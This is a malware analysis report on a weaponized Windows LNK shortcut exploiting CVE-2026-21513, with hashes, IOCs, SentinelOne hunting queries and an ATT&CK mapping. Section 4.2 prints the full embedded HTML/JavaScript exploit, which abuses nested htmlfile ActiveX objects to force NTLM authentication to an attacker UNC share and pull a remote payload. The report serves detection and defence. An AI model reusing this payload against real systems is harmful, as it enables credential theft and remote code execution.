CVE-2026-21513 — Malicious Windows LNK Exploit
1. File Identification
| Property |
Value |
| Filename |
aefd15e3c395edd16ede7685c6e97ca0350a702ee7c8585274b457166e86b1fa |
| File Type |
MS Windows LNK Shortcut |
| Size |
1,648 bytes |
| SHA256 |
aefd15e3c395edd16ede7685c6e97ca0350a702ee7c8585274b457166e86b1fa |
| SHA1 |
9bfbd8e440c2b7bc43bcfa446cf3d7a19023de9c |
| MD5 |
5bd25498c247083954eb47acbd199ee7 |
| ssdeep |
48:8HmQNBEEzdS166jUsMBYERzja0f6qZa4tmmXzpJF:8LEaM11R6YU+0LZa0RfF |
| LNK Flags |
IDList, Unicode, TargetMetadata |
| Run Window |
Normal |
| Target File Size |
0 (no legitimate target) |
2. Executive Summary
This sample is a malicious Windows LNK (shortcut) file weaponizing a Windows Shell HTML rendering vulnerability tracked as CVE-2026-21513. The LNK file contains no legitimate shortcut target — instead, it embeds a multi-stage HTML/JavaScript exploit payload and a UNC path pointing to an attacker-controlled server (wellnesscaremed.com).
When a victim views the LNK file in Windows Explorer (preview pane enabled), the embedded HTML is rendered automatically with no user interaction required beyond navigating to the folder. The JavaScript chain abuses nested htmlfile ActiveX COM objects to force Windows to authenticate to a remote UNC share, leaking the victim’s Net-NTLMv2 credentials and/or executing a remote second-stage payload (s.d).
3. Indicators of Compromise (IOCs)
3.1 File Hashes
| Type |
Hash |
| SHA256 |
aefd15e3c395edd16ede7685c6e97ca0350a702ee7c8585274b457166e86b1fa |
| SHA1 |
9bfbd8e440c2b7bc43bcfa446cf3d7a19023de9c |
| MD5 |
5bd25498c247083954eb47acbd199ee7 |
3.2 Network IOCs
| IOC |
Type |
Confidence |
Description |
wellnesscaremed.com |
Domain |
High |
Attacker C2 — embedded as UNC target in LNK IDList |
\\wellnesscaremed.com\buch\d\s.d |
UNC Path |
High |
Full remote resource path; s.d is the remote payload |
3.3 Behavioral IOCs
| IOC |
Type |
Description |
ActiveXObject('htmlfile') |
Technique |
COM object instantiation for out-of-zone HTML rendering |
window[1].document.Script.open("http:///","_parent") |
Technique |
UNC navigation via deferred script in nested iframe |
execScript(a) |
Technique |
IE/Trident dynamic code execution (deprecated function) |
http:/// |
URL Pattern |
Resolves to the LNK IDList UNC path at runtime |
4. Technical Analysis
4.1 LNK Structure
The LNK file is structured as follows:
Offset 0x00 — LNK Header (magic: 4C 00 00 00)
Offset 0x4E — IDList size: 0x00e2
Offset 0x50 — Root folder GUID: 26EE0668-A00A-44D7-9371-BEB064C98683
Offset 0x80 — UNC Target Path (UTF-16LE): \\wellnesscaremed.com\buch\d\s.d
Offset 0xDC — Embedded HTML payload begins: <html>...
The IDList embeds the UNC path \\wellnesscaremed.com\buch\d\s.d as the shortcut’s target resource, which Windows resolves when the LNK is rendered or executed.
4.2 Embedded HTML/JavaScript Payload
The LNK contains a full HTML document starting at offset 0xDC. This is rendered by the Windows Shell (via mshtml.dll / Trident engine) when the file is previewed in Explorer.
Full Payload
<html>
<HTML><img src="?" onerror="
l=location.href.toLowerCase();
if (l.indexOf('?hf=1') == -1) {
if (l.indexOf('?f') == -1) {
l2=l.replace('file:///','');
l2=l2.replace('file:','');
l2=l2.split('/').join('\\');
l2 = unescape(l2);
h=new ActiveXObject('htmlfile');
h.open();
h.write('<object type=text/html data=?hf=1></object>');
}
}
"></img>
<body onload=fx()><div id=d></div><iframe src=?f=1></iframe>
<div id=d2></div>
<div id=d3></div>
<script>
ux = navigator.userAgent.toLowerCase();
l=location.href.toLowerCase();
l3=l.replace('file:///','');
l3=l3.replace('file:','');
l3 = unescape(l3);
if (l.indexOf('?') == -1 || l.indexOf('#http:///') != -1) {
try { open('about:Blank','_self').close(); } catch(e) { }
}
function fx() {
a="if (l.indexOf('?hf') != -1) { try { h1 = new window[0].ActiveXObject('htmlfile'); ";
a=a+ " h1.open(); h1.write(unescape('<html><body><iframe src=%22about:blank%22></iframe><iframe src=%22about:blank%22></iframe>%3cscript defer%3ewindow[1].document.Script.open(%22http:///%22,%22_parent%22)%3c/script%3e</body></html>')); ";
a=a+ " } catch(e) { } }";
if (l.indexOf('?f=2') != -1) {
//setTimeout("open('http:///','_self');",500);
}
if (l.indexOf('?f') == -1) {
execScript(a);
}
}
</script></body></html>
4.3 Exploit Execution Flow
Victim browses folder / opens LNK
│
▼
[Stage 1] <img src="?" onerror="...">
Windows Shell renders embedded HTML via Trident (mshtml.dll)
Broken image src fires onerror handler immediately
→ Creates ActiveXObject('htmlfile') [1st instance]
→ Re-renders LNK with query flag ?hf=1
│
▼
[Stage 2] <body onload=fx()> + <iframe src=?f=1>
Nested iframes reload the LNK with different query flags
(?f=1, ?f=2, ?hf=1) to gate each execution stage
│
▼
[Stage 3] function fx() — Dynamic script construction
Builds script string 'a' that:
→ Creates 2nd ActiveXObject('htmlfile') via window[0]
→ Writes inner HTML containing two iframes
→ Embeds deferred <script> inside:
window[1].document.Script.open("http:///","_parent")
→ execScript(a) executes the dynamically built string
│
▼
[Stage 4] UNC Navigation
"http:///" resolves to LNK IDList UNC target:
\\wellnesscaremed.com\buch\d\s.d
│
├──► Windows sends Net-NTLMv2 auth to attacker server
│ (CREDENTIAL THEFT)
│
└──► If share accessible: executes s.d
(REMOTE CODE EXECUTION)
4.4 Anti-Analysis Techniques
| Technique |
Implementation |
| Staged execution |
URL query parameter flags (?f=1, ?f=2, ?hf=1) prevent full payload running outside its intended environment |
| Nested COM objects |
Double htmlfile ActiveX nesting obscures the final UNC navigation from simple string analysis |
| Dynamic code construction |
Script string a built via concatenation, evading static string detection |
| URL encoding |
Inner HTML payload is unescape()-encoded to avoid plaintext detection |
| Commented fallback |
//setTimeout("open('http:///','_self');",500) — alternate execution path left commented out |
5. Capability Summary
| Capability |
Evidence |
Confidence |
| LNK Preview Pane Exploit |
HTML embedded in LNK IDList rendered by Windows Shell |
High |
| ActiveX COM Abuse |
new ActiveXObject('htmlfile') × 2 nested instances |
High |
| Multi-stage iframe chaining |
Query parameter flags gate each execution stage |
High |
| Dynamic code execution |
execScript() — IE/Trident legacy function |
High |
| UNC-forced NTLM auth / Credential theft |
document.Script.open("http:///") → \\wellnesscaremed.com\buch\d\s.d |
High |
| Remote payload retrieval |
s.d on remote UNC share (likely renamed DLL/HTA/PS1) |
Medium |
| Zero/One-click execution |
Triggers from preview pane without explicit double-click |
High |
| Anti-analysis / Staged execution |
URL parameter checks prevent flat analysis execution |
High |
6. SentinelOne Detection — Power Queries
Query 1 — IOC: C2 Domain Hunt
| filter( ( event.type == "DNS Resolved" AND event.dns.request contains:anycase( "wellnesscaremed.com" ) ) OR ( event.type == "IP Connect" AND dst.ip.address == "wellnesscaremed.com" ) ) | columns event.time, endpoint.name, src.process.name, event.dns.request, dst.ip.address | sort - event.time | limit 1000
Query 2 — Explorer Outbound SMB/WebDAV (UNC Coerce)
| filter( event.type == "IP Connect" AND event.network.direction == "OUTGOING" AND src.process.name in:anycase( "explorer.exe", "svchost.exe" ) AND dst.port.number in:anycase( 445, 139, 80, 443 ) AND !net_private( dst.ip.address ) AND !net_ipsubnet( dst.ip.address, "10.0.0.0/8" ) AND !net_ipsubnet( dst.ip.address, "172.16.0.0/12" ) AND !net_ipsubnet( dst.ip.address, "192.168.0.0/16" ) AND !net_ipsubnet( dst.ip.address, "127.0.0.0/8" ) ) | columns event.time, endpoint.name, src.process.name, dst.ip.address, dst.port.number | sort - event.time | limit 1000
Query 3 — LNK Spawning Suspicious Child Processes
| filter( event.type == "Process Creation" AND src.process.name in:anycase( "explorer.exe", "svchost.exe" ) AND tgt.process.name in:anycase( "cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe", "wscript.exe", "cscript.exe", "rundll32.exe", "regsvr32.exe", "msiexec.exe", "certutil.exe", "bitsadmin.exe" ) AND ( src.process.cmdline contains:anycase( ".lnk" ) OR tgt.process.image.path contains:anycase( "\\AppData\\", "\\Temp\\" ) ) ) | columns event.time, endpoint.name, src.process.name, tgt.process.name, tgt.process.cmdline | sort - event.time | limit 1000
Query 4 — htmlfile ActiveX / execScript Indicators
| filter( event.type == "Process Creation" AND src.process.name == "explorer.exe" AND tgt.process.name in:anycase( "mshta.exe", "wscript.exe", "cscript.exe", "powershell.exe", "cmd.exe" ) AND tgt.process.cmdline contains:anycase( "htmlfile", "execScript", "ActiveXObject", "http:///" ) ) | columns event.time, endpoint.name, src.process.name, tgt.process.name, tgt.process.cmdline | sort - event.time | limit 1000
Query 5 — Small Suspicious LNK File Written to Disk
| filter( event.type in:matchcase( "File Creation", "File Modification" ) AND tgt.file.extension == "lnk" AND tgt.file.size < 10000 AND tgt.file.path contains:anycase( "\\Downloads\\", "\\AppData\\", "\\Temp\\", "\\Desktop\\" ) AND !( src.process.name in:anycase( "explorer.exe", "chrome.exe", "msedge.exe", "firefox.exe", "outlook.exe" ) ) AND !( tgt.file.path contains:anycase( "\\Recent\\" ) ) ) | columns event.time, endpoint.name, src.process.name, tgt.file.path, tgt.file.size | sort - event.time | limit 1000
Query 6 — NTLM Coerce: Any Process Outbound SMB to External Host
| filter( event.type == "IP Connect" AND event.network.direction == "OUTGOING" AND dst.port.number in:anycase( 445, 139 ) AND src.process.name in:anycase( "explorer.exe", "iexplore.exe", "msedge.exe", "chrome.exe" ) AND !net_private( dst.ip.address ) AND !net_ipsubnet( dst.ip.address, "10.0.0.0/8" ) AND !net_ipsubnet( dst.ip.address, "172.16.0.0/12" ) AND !net_ipsubnet( dst.ip.address, "192.168.0.0/16" ) AND !net_ipsubnet( dst.ip.address, "127.0.0.0/8" ) ) | columns event.time, endpoint.name, src.process.name, dst.ip.address, dst.port.number | sort - event.time | limit 1000
Query 7 — Hash Hunt (Fleet-Wide)
| let Sha256Hash = "aefd15e3c395edd16ede7685c6e97ca0350a702ee7c8585274b457166e86b1fa" | filter( tgt.file.sha256 == Sha256Hash ) | columns event.time, endpoint.name, src.process.name, tgt.file.path | sort - event.time | limit 1000
Detection Priority
| Query |
Signal Type |
Fidelity |
Noise |
| Q1 — IOC domain |
Threat Intel |
High |
Very Low |
| Q7 — File hash |
Threat Intel |
High |
Very Low |
| Q2 — Explorer → SMB outbound |
Behavioral |
High |
Low–Med |
| Q3 — LNK spawns shell |
Behavioral |
High |
Low |
| Q4 — htmlfile/execScript |
Behavioral |
Medium |
Low |
| Q5 — Small LNK on disk |
Hunting |
Medium |
Medium |
| Q6 — NTLM coerce broad |
Behavioral |
Medium |
Med–High |
7. Recommended Defensive Actions
Short-Term (24–72 hours)
Longer-Term
8. MITRE ATT&CK Mapping
| Technique |
ID |
Description |
| Phishing: Spearphishing Attachment |
T1566.001 |
LNK delivered via email or file share |
| User Execution: Malicious File |
T1204.002 |
Victim browses folder containing LNK |
| Exploitation for Client Execution |
T1203 |
CVE-2026-21513 LNK preview pane exploit |
| Forced Authentication |
T1187 |
UNC path forces Net-NTLMv2 auth to attacker server |
| Steal or Forge Authentication Certificates |
T1649 |
Net-NTLMv2 hash capture for credential theft |
| Obfuscated Files or Information |
T1027 |
URL-encoded payload, dynamic script construction |
| Command and Scripting Interpreter: JavaScript |
T1059.007 |
JavaScript payload embedded in LNK |